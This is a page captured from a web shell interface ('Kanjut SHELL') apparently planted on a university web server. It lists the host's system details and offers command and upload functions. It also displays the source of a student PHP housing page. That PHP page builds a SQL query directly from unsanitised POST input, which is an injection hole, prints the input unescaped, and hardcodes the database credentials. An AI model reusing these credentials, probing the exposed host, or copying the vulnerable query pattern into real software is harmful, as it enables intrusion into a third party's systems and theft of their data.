Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.118.144.98
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/akshoop/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/akshoop/www/findMyResidencyByNature.php
<html>
<head>
<style>
body {
  font-family: "Apple Chancery", cursive;
  background-color: white;
  margin: 0;
}

ul {
  list-style-type: none;
  height: 100%;
  width: 250px;
  position: fixed;
  top: 0;
  left: 0;
  background-color: #555;
  overflow: auto;
  padding-top:20px;
  padding: 0;
  margin: 0;
}

li a {
  display: block;
  color: white;
  padding: 6px 8px 6px 16px;
  text-decoration: none;
  font-size: 20px;
  width: 100%;
  text-align: left;
  cursor: pointer;
}

li a.active {
  background-color: #81a4db;
  color: white;
}

li a:hover:not(.active) {
  background-color: #81a4db;
  color: white;
}
</style>
</head>
<body>

<ul>
  <li><a href="projectIndex.html">Home</a></li>
  <li><a href="housingInformation.html">Information</a></li>
  <li><a href="rateMy.html">Rating Forms</a></li>
  <li><a class="active" href="rateMyTable.html">Tables</a></li>
  <li><a href="FAQs.html">FAQs</a></li>
  <li><a href="admin.html">Admin Login</a></li>
</ul>

<div style="margin-left:250px;padding:0px 10px;height:1000px;font-size: 20px;">
  <h2>Display Tables.</h2>
	<h3>
	Find residency by nature.<BR>
<?php
	$nature = $_POST["nature"];
	
        $host = 'localhost';
        $user = 'akshoop';
        $passwd = 'cs389';
        $database = 'akshoop';     

        $connect = mysqli_connect($host, $user, $passwd);
	$query = "select VILLAGE, HALL, WALK, SUNLIGHT, NOISE, PRIVACY, HALLNOISE, GUESTS, LAUNDRY, ROOM, SUITE, BEDS, WINDOWS from RESIDENCE where NATURE='$nature'";
//      print "The query is <i> $query </i> ";
	print "Showing tables for nature: $nature";
        mysqli_select_db($connect, $database);
        $result_id = mysqli_query($connect, $query);

        if($result_id)
        {
                print '<table border=1>';
                print '<TH> Village <TH> Hall
                        <TH> Walk <TH> Sunlight
			<TH> Noise <TH> Privacy
			<TH> Hall Noise <TH> Guests 
			<TH> Laundry <TH> Room
			<TH> Suite <TH> Beds
			<TH> Windows';
                while($row = mysqli_fetch_row($result_id))
                {       print '<TR>';
                        foreach ($row as $field)
                                print "<TD> $field </TD> ";
                        print '</TR>';
                }
                print '</table>';
        }
        else
                print "Fail.<p>";
        mysqli_close($connect);

?>
	</h3>
</div>

</body>
</html>


Stv3n404 - 2023